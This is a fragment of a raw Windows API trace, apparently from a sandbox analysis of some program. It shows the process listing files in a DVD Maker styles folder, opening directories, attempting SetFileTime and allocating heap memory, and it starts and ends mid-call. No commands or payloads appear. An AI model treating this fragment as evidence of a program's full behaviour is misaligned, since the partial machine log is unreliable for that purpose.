(in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0070.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0070.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0070.384] GetLastError () returned 0x12 [0070.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.384] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0070.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0070.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0070.385] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0070.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0070.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.385] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0070.385] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0070.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa204b8 [0070.385] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa204b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa204b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0070.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa204b8) returned 1 [0070.386] NtClose (Handle=0x124) returned 0x0 [0070.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0070.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0070.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.386] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0070.388] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.388] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0070.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0070.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1efa8 [0070.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d688 [0070.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.389] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1efc8 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d790 [0070.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.389] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1efe8 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d898 [0070.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.389] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0070.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f008 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d9a0 [0070.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.390] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f028 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1daa8 [0070.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.390] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f048 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1dbb0 [0070.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.391] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f068 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1dcb8 [0070.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.391] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f088 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1ddc0 [0070.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.391] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0070.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f0a8 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1dec8 [0070.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.392] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f0c8 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1dfd0 [0070.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.392] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f0e8 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.393] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f108 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08ca0 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xfc0) returned 0xa204b8 [0070.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1f530) returned 1 [0070.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.393] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 